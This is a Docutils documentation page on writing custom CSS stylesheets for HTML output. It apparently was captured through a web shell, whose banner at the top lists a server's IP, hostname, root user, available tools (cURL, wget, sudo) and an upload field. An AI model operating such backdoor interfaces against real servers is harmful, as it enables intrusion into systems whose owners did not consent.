| Server IP : 82.148.16.210 / Your IP : 216.73.216.19 Web Server : nginx/1.29.5 System : Linux mail.sarafai.ru 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64 User : root ( 0) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /proc/746/root/usr/share/doc/python3-docutils/docs/howto/ |
Upload File : |
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="generator" content="Docutils 0.19: https://docutils.sourceforge.io/" />
<title>Writing HTML (CSS) Stylesheets for Docutils</title>
<meta name="author" content="Lea Wiemann" />
<meta name="date" content="2022-04-02" />
<meta name="copyright" content="This document has been placed in the public domain." />
<link rel="stylesheet" href="../../css/html4css1.css" type="text/css" />
</head>
<body>
<div class="header">
<a class="reference external" href="https://docutils.sourceforge.io">Docutils</a> | <a class="reference external" href="../index.html">Overview</a> | <a class="reference external" href="../index.html#project-fundamentals">About</a> | <a class="reference external" href="../index.html#user">Users</a> | <a class="reference external" href="../index.html#ref">Reference</a> | <a class="reference external" href="../index.html#howto">Developers</a>
<hr class="header"/>
</div>
<div class="document" id="writing-html-css-stylesheets-for-docutils">
<h1 class="title">Writing HTML (CSS) Stylesheets for <a class="reference external" href="https://docutils.sourceforge.io/">Docutils</a></h1>
<table class="docinfo" frame="void" rules="none">
<col class="docinfo-name" />
<col class="docinfo-content" />
<tbody valign="top">
<tr><th class="docinfo-name">Author:</th>
<td>Lea Wiemann</td></tr>
<tr><th class="docinfo-name">Contact:</th>
<td><a class="first last reference external" href="mailto:docutils-develop@lists.sourceforge.net">docutils-develop@lists.sourceforge.net</a></td></tr>
<tr><th class="docinfo-name">Date:</th>
<td>2022-04-02</td></tr>
<tr><th class="docinfo-name">Revision:</th>
<td>9051</td></tr>
<tr><th class="docinfo-name">Copyright:</th>
<td>This document has been placed in the public domain.</td></tr>
</tbody>
</table>
<!-- Minimal menu bar for inclusion in documentation sources
in ``docutils/docs/*/`` sub-diretories.
Attention: this is not a standalone document. -->
<p>The look of Docutils' HTML output is customizable via CSS stylesheets.
The default stylesheets can be found in the
<tt class="docutils literal">docutils/writers/html*/</tt> directories of the <tt class="docutils literal">html4css1</tt> and
<tt class="docutils literal"><span class="pre">html-base</span></tt> writers in the Docutils installation. Use the front-end
command (<tt class="docutils literal">rst2html.py</tt> or <tt class="docutils literal">rst2html5.py</tt>) with the
<tt class="docutils literal"><span class="pre">--help</span></tt> option and look at the description of the <tt class="docutils literal"><span class="pre">--stylesheet-path</span></tt>
command-line option for the exact machine-specific location.</p>
<p>To customize the look of HTML documents, you can override the settings
of the default stylesheet in your own stylesheet. Specify both, the
default stylesheet and your stylesheet to the <tt class="docutils literal"><span class="pre">--stylesheet</span></tt> or
<tt class="docutils literal"><span class="pre">--stylesheet-path</span></tt> command line option (or the corresponding
settings in a <a class="reference external" href="../user/config.txt">configuration</a> file), e.g.</p>
<pre class="literal-block">
rst2html.py --stylesheet=html4css1.css,transition-stars.css
</pre>
<p>This is the preferable approach if you want to embed the stylesheet(s), as
this ensures that an up-to-date version of <tt class="docutils literal">html4css1.css</tt> is embedded.</p>
<p>Alternatively, copy the default style sheet to the same place as your
output HTML files will go and place a new file (e.g. called
<tt class="docutils literal"><span class="pre">my-docutils.css</span></tt>) in the same directory and use the following
template:</p>
<pre class="literal-block">
/*
:Author: Your Name
:Contact: Your Email Address
:Copyright: This stylesheet has been placed in the public domain.
Stylesheet for use with Docutils. [Optionally place a more
detailed description here.]
*/
@import url(html4css1.css);
/* Your customizations go here. For example: */
h1, h2, h3, h4, h5, h6, p.topic-title {
font-family: sans-serif }
</pre>
<p>For help on the CSS syntax, see, e.g., the <a class="reference external" href="https://www.w3.org/Style/CSS/#specs">W3C Specification</a>, the
<a class="reference external" href="http://www.htmlhelp.com/reference/css/">WDG's guide to Cascading Style Sheets</a>, or the <a class="reference external" href="https://developer.mozilla.org/en-US/docs/Web/CSS">MDN Web Docs</a>.</p>
<p>It is important that you do not edit a copy of <tt class="docutils literal">html4css1.css</tt>
directly because <tt class="docutils literal">html4css1.css</tt> is frequently updated with each new
release of Docutils.</p>
<p>Also make sure that you import <tt class="docutils literal">html4css1.css</tt> (using "<tt class="docutils literal">@import
url(html4css1.css);</tt>") because the definitions contained in the
default stylesheet are required for correct rendering (margins,
alignment, etc.).</p>
<p>If you think your stylesheet is fancy and you would like to let others
benefit from your efforts, you are encouraged to post the stylesheet to the
<a class="reference external" href="../user/mailing-lists.html#docutils-users">Docutils-users</a> mailing list. It might find its place in the <a class="reference external" href="../../../sandbox/stylesheets/">stylesheet
collection</a> in the Docutils <a class="reference external" href="../../../sandbox">Sandbox</a>.</p>
<p>If you decide to share your stylesheet with other users of Docutils,
please keep website-specific customizations not applicable to
Docutils' HTML code in a separate stylesheet.</p>
<!-- base for relative links is /docutils/docs/howto/ -->
<!-- Local Variables:
mode: indented-text
indent-tabs-mode: nil
sentence-end-double-space: t
fill-column: 70
End: -->
</div>
</body>
</html>